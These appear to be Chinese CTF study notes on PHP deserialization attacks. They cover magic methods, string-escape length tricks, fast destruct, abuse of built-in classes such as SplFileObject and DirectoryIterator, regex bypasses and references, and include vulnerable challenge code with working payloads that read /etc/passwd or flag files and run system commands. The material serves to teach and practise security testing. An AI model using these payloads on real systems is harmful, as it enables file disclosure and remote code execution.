注意:protected privated
例题:
知识点:
1. __construct():构造函数
2. __destruct():析构函数
3. __clone():调用clone指令的时候调用
4. __tostring():将对象当成字符串使用的时候自动调用
5. __invoke():将对象当成函数的时候自动调用
6. __set():给无法访问的属性赋值的时候自动调用
7. __get():获取无法访问的属性自动调用
8. __isset():判断无法访问的属性是否存在自动调用
9. __unset():销毁无法访问的属性的时候自动执行
10. __call():调用无法访问的方法时自动执行
11. __callstatic():调用无法访问的静态方法的时候自动执行
12. __sleep():当序列化的时候自动执行
13. __wakeup():当反序列化的时候自动执行
区分大小写的: 变量名、常量名、数组索引(键名key)
不区分大小写的:函数名、方法名、类名、魔术常量、NULL、FALSE、TRUE
//直接为私有属性赋值的操作,会自动调用__set()方法进行赋值
$p1->name="张三";
//直接获取私有属性的值,会自动调用__get()方法,返回成员属性的值
echo "姓名:".$p1->name."<br>";
当序列化的内容被反序列化时,由于unserialize($_POST['pop'];为程序结尾的位置,所以会调用__destruct魔术方法,触发pop链
模板:
字符串逃逸:
(1)字符串增多逃逸
需要在最前边的参数后添加需要逃逸的字符,通过增多来使后边的字符串无效
标准输出:O:4:"test":2:{s:5:"Chant";s:0:"";s:11:"Spear_Owner";s:6:"MaoLei";}
然后我们在重新理一下。目的是在夺命十三枪后面修改为";s:11:"Spear_Owner";s:6:"MaoLei";},该字符串长度为35,根据代码可以知道"di_qi_qiang" => "Penetrating_Gaze",刚好是从11->16,每次转换可以逃逸5个字符串,只需要重复7次"di_qi_qiang"即可完成逃逸,所以最终
payload:?chant=di_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}
(2)字符串减少逃逸:
需要在第二个可控位置上加上逃逸字符串,通过字符串长度的减少,吞掉前边无用字符串
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
可以看到在传入参数$f 为 show_image 的时候,会将序列化且过滤后的_SESSION 进行反序列化。因为_SESSION 是一个数组,序列化后形如:a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
其中的 user 与 function 是可以通过 extract 函数进行变量覆盖的,而 img 的赋值在 extract 函数之后,没法覆盖,若是通过 img_path 参数传入,那么 img 又会被进行 base64 加密与 sha1 加密,在末尾的 file_get_content 函数只将其进行了一次 base64解密,显然 img_path 传入的方式不可控,既然 img 整个不可控
正常序列化结果:
a:3:{s:4:"user";s:23:"flagflagflagflagflagphp";s:8:"function";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
则第二个参数需要传";s:8:"function";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
";s:8:"function";s:64:"为需要逃逸吞掉的字符串一共23位,可以构造user逃逸
<?php
$_SESSION["user"] = 'flagflagflagflagflagphp';
$_SESSION['function'] ='";s:8:"function";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img']="ZDBnM19mMWFnLnBocA==";
//ZDBnM19mMWFnLnBocA==是base64编码后的d0g3_f1ag.php
echo serialize($_SESSION);
该序列化结果:
a:3:{s:4:"user";s:23:"flagflagflagflagflagphp";s:8:"function";s:64:"";s:8:"function";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
?>
则最终通过 POST 方法传入参数如下:
_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFn
LnBocA==";}
3.如果反序列化会检查name变量的第一个首字母是不是V
第一种:在类里面写两次相同的属性名,后面的属性值会覆盖前面的属性值(注意:类的属性个数记得加一)
O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:7:"print_r";s:3:"msg";s:4:"test";}
4.fast_desturct:从power!初识fast destruct
原payload:
O:8:"Backdoor":3:{s:1:"a";O:10:"FileViewer":3:{s:10:"black_list";s:4:"flag";s:5:"local";s:17:"http://127.0.0.1/";s:4:"path";N;}s:1:"b";s:5:"local";s:11:"superhacker";s:22:"http://127.0.0.1:65500";}
修改序列化数字元素个数
此处将backdoor后的3改为任意值
O:8:"Backdoor":4:{s:1:"a";O:10:"FileViewer":3:{s:10:"black_list";s:4:"flag";s:5:"local";s:17:"http://127.0.0.1/";s:4:"path";N;}s:1:"b";s:5:"local";s:11:"superhacker";s:22:"http://127.0.0.1:65500";}
去掉序列化尾部 }
O:8:"Backdoor":3:{s:1:"a";O:10:"FileViewer":3:{s:10:"black_list";s:4:"flag";s:5:"local";s:17:"http://127.0.0.1/";s:4:"path";N;}s:1:"b";s:5:"local";s:11:"superhacker";s:22:"http://127.0.0.1:65500";
5.原生类利用
php中有许多内置的原生类,可以利用内置的原生类攻击到达目的;
目录遍历类——DirectoryIterator 可输出指定目录的第一个文件;DirectoryIterator与glob://协议在一起组合可以绕过open_basedir
<?php
$dir = $_GET['XINO'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
echo($f.'<br>');
?>
# payload一句话的形式:
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f.'<br>');}
payload:?XINO=glob:///* #列出根目录下所有文件
文件读取类——SplFileObject 可读取指定文件的内容;平常读取只能读取一行,要全部读取需要对内容进行遍历
?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
echo($f);
}
GlobIterator 类也可以遍历一个文件目录,但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来寻找文件路径。**根据该类特点,**不用在配合glob://协议
$a = new FilesystemIterator("/*");foreach($a as $f){echo($f.'<br>');}
它的特点就是,只需要知道部分名称就可以进行遍历
<?php
class test
{
public $a;
public $b;
public function __wakeup()
{
echo $this->a($this->b);
}
}
?>
$a=DirectoryIterator,$b=glob://f* 时可得到文件名/flag
$a=SplFileObject,$b=/flag 时可读取/flag文件的内容
$a=GlobIterator ,$b=/*flag*
DirectoryTterator和SplFileObject都通过echo输出对象出发,DirectoryIterator读目录只
能返回目录的第一条、可以使用通配符、需配合伪协议glob://读取,SplFileObject读文件内容文
件名不支持通配符、只返回文件内容的第一行、配合伪协议php://fliter才可读取文件全部内容
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000){
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}
class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}
}
class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}
public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}
}
if(isset($_GET['d'])){
unserialize(base64_decode($_GET['d']));
}
2)由于echo new无回显,所以需要伪协议
a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php
6. O:+4绕过正则匹配; 或者将对象放入数组再序列化 serialize(array($a));
前者有的php版本不适应,后者通用;
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
(1)例题: 在php低版本中,O或a的冒号后的数字前可以加一个+来进行绕过。但这个题目的版本是7.3无法绕过
class ctfshow{
public function __wakeup(){
die("not allowed!");
}
public function __destruct(){
system($this->ctfshow);
}
}
$data = $_GET['1+1>2'];
if(!preg_match("/^[Oa]:[\d]+/i", $data)){
unserialize($data);
}
?>
wp使用了ArrayObject()
类,使用这个类去修饰ctfshow
类
经过所有测试发现可以用的类为:
●ArrayObject::unserialize
●ArrayIterator::unserialize
●RecursiveArrayIterator::unserialize
●SplObjectStorage::unserialize
<?php
class ctfshow{
public $ctfshow = 'whoami';
}
$a= new ArrayObject();
$a -> a = new ctfshow();
echo serialize($a);
?>
//C:11:"ArrayObject":74:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}}}
7.引用
//简单例题
<?php
show_source(__FILE__);
###very___so___easy!!!!
class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a=1;
$this->b=2;
$this->c=3;
}
public function __wakeup(){
$this->a='';
}
public function __destruct(){
$this->b=$this->c;
eval($this->a);
}
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);
:"a";N;s:1:"b";R:2;s:1:"c";s:33:"system("cat /fffffffffflagafag");";}
<?php
class test
{
public $a;
public $b;
public $c='system("cat /fffffffffflagafag");';
}
$h = new test();
$h->b = &$h->a; //注意:取会改变的属性的地址,如取a的地址赋值给b,当给a赋值时a会等于b的值
echo '?a='.serialize($h);
8.大写S当十六进制绕过
表示字符串类型的s大写为S时,其对应的值会被当作十六进制解析
例如 s:13:"SplFileObject" 中的Object被过滤
可改为 S:13:"SplFileOb\6aect"
小写s变大写S,长度13不变,\6a是字符j的十六进制编码
9.php类名不区分大小写
O:1:"A":2:{s:1:"c";s:2:"11";s:1:"b";s:2:"22";}
等效于
O:1:"a":2:{s:1:"c";s:2:"11";s:1:"b";s:2:"22";}